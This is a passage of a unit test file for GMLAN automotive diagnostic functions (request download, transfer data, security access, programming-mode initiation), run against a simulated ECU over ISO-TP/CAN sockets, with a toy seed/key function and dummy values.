isotpsock2.send(ack) time.sleep(tout) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: starttime = time.time() # may be inaccurate -> on some systems only seconds precision result = GMLAN_RequestDownload(isotpsock, 4, timeout=repeats*tout+0.5) assert result endtime = time.time() assert (endtime - starttime) >= tout * (repeats - 1) thread.join(timeout=5) = Negative, negative response after response pending started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22) isotpsock2.send(nr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == False thread.join(timeout=5) = Negative, timeout after response pending started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=0.3) == False thread.join(timeout=5) = Positive, pending message from different service interferes while pending started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) wrongservice = GMLAN()/GMLAN_NR(requestServiceId=0x36, returnCode=0x78) isotpsock2.send(wrongservice) isotpsock2.send(pending) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == True thread.join(timeout=5) = Positive, negative response from different service interferes while pending started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) wrongservice = GMLAN()/GMLAN_NR(requestServiceId=0x36, returnCode=0x22) isotpsock2.send(wrongservice) isotpsock2.send(pending) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1) == True thread.join(timeout=5) ################### RETRY = Positive, first: immediate negative response, retry: Positive started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # negative requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_RD(memorySize=4) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22) # positive retry print("retry") requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr)) pkt = GMLAN()/GMLAN_RD(memorySize=4) print(requ) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_RequestDownload(isotpsock, 4, timeout=1, retry=1) == True assert ecusimSuccessfullyExecuted == True thread.join(timeout=5) ############################################################################## + GMLAN_TransferData Tests ############################################################################## = Positive, short payload, scheme = 4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x40000000, payload, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Positive, short payload, scheme = 3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x400000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x400000, payload, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Positive, short payload, scheme = 2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted = True with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: time.sleep(0) requ = isotpsock2.sniff(count=1, timeout=2, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x4000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x4000, payload, timeout=2) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Negative, short payload conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) nr = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x22) isotpsock2.send(nr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x40000000, payload, timeout=1) == False thread.join(timeout=5) = Negative, timeout with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x4000, payload, timeout=1) == False = Positive, long payload conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload*2) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" # second package with inscreased address requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000010, dataRecord=payload * 2) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x40000000, payload*4, maxmsglen=16, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True # = Positive, first part of payload succeeds, second pending, then fails, retry succeeds conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" # second package with inscreased address requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pending = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x78) isotpsock2.send(pending) time.sleep(0.1) nr = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x22) requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr)) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x40000000, payload*4, maxmsglen=16, timeout=1, retry=1) == True thread.join(timeout=5) ############ = Positive, maxmsglen length check -> message is split automatically * TODO: This test causes an error in ISOTPSoftSockets exit_if_no_isotp_module() conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True sim_started = threading.Event() started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=3, started_callback=sim_started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload*511+payload[:1]) if len(requ) == 0 or bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False return ack = b"\x76" # second package with inscreased address requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000FF9, dataRecord=payload[1:]) if len(requ) == 0 or bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False return ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.name = "ECUSimulator" + thread.name thread.start() with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: sim_started.wait(timeout=5) assert GMLAN_TransferData(isotpsock, 0x40000000, payload*512, maxmsglen=0x1000000, timeout=8) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True ############ Address boundary checks = Positive, highest possible address for scheme conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 2**32 - 1, payload, timeout=1) == True thread.join(timeout=5) = Negative, invalid address (too large for addressing scheme) conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 2**32, payload, timeout=1) == False thread.join(timeout=5) = Positive, address zero conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, 0x00, payload, timeout=1) == True thread.join(timeout=5) = Negative, negative address conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferData(isotpsock, -1, payload, timeout=1) == False thread.join(timeout=5) ############################################ + GMLAN_TransferPayload Tests ############################################ = Positive, short payload conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_RD(memorySize=len(payload)) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x74" requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_TransferPayload(isotpsock, 0x40000000, payload, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True ############################################ + GMLAN_GetSecurityAccess Tests ############################################ = KeyFunction keyfunc = lambda seed : seed - 0x1FBE = Positive scenario, level 1, tests if keyfunction applied properly ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_SA(subfunction=1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35) isotpsock2.send(nr) else: pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Positive scenario, level 3 ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_SA(subfunction=3) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False seedmsg = GMLAN()/GMLAN_SAPR(subfunction=3, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=4, securityKey=0xbeef) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35) isotpsock2.send(nr) else: pr = GMLAN()/GMLAN_SAPR(subfunction=4) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=3, timeout=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Negative scenario, invalid password ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_SA(subfunction=1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbabe) if bytes(requ[0]) != bytes(pkt): nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35) isotpsock2.send(nr) else: ecusimSuccessfullyExecuted = False pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=1) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = invalid level (not an odd number) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=2, timeout=1) == False = zero seed started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0x0000) isotpsock2.send(seedmsg) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=1) == True thread.join(timeout=5) ############### retry = Positive scenario, request timeout, retry works started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # timeout requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) # wait for request requ = isotpsock2.sniff(count=1, timeout=3) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef) pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=1, retry=1) == True thread.join(timeout=5) = Positive scenario, keysend timeout, retry works started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # timeout requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) # retry from start requ = isotpsock2.sniff(count=1, timeout=3) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=1, retry=1) == True thread.join(timeout=5) = Positive scenario, request error, retry works started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x37) # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr)) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef) pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=1, retry=1) == True thread.join(timeout=5) ############################################################################## + GMLAN_InitDiagnostics Tests ############################################################################## = sequence of the correct messages ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x3) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = sequence of the correct messages, disablenormalcommunication as broadcast * TODO: This test errors if executed with ISOTPSoftSockets exit_if_no_isotp_module() ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2, \ new_can_socket(iface0) as broadcastrcv: print("DisableNormalCommunication") requ = broadcastrcv.sniff(count=1, timeout=2, started_callback=started.set) pkt = GMLAN(b"\x28") print(requ) assert len(requ) >= 1 if bytes(requ[0].data) != b"\xfe\x01" + bytes(pkt): ecusimSuccessfullyExecuted = False print("ReportProgrammedState") requ = isotpsock2.sniff(count=1, timeout=2) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) print("ProgrammingMode requestProgramming") requ = isotpsock2.sniff(count=1, timeout=2, started_callback=lambda: isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN(b"\xe5") print("InitiateProgramming enableProgramming") requ = isotpsock2.sniff(count=1, timeout=2, started_callback=lambda: isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x3) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, broadcastsocket=GMLAN_BroadcastSocket(new_can_socket(iface0)), timeout=8, verbose=1) == True thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True ######## timeout = timeout DisableNormalCommunication ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = timeout ReportProgrammedState ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert 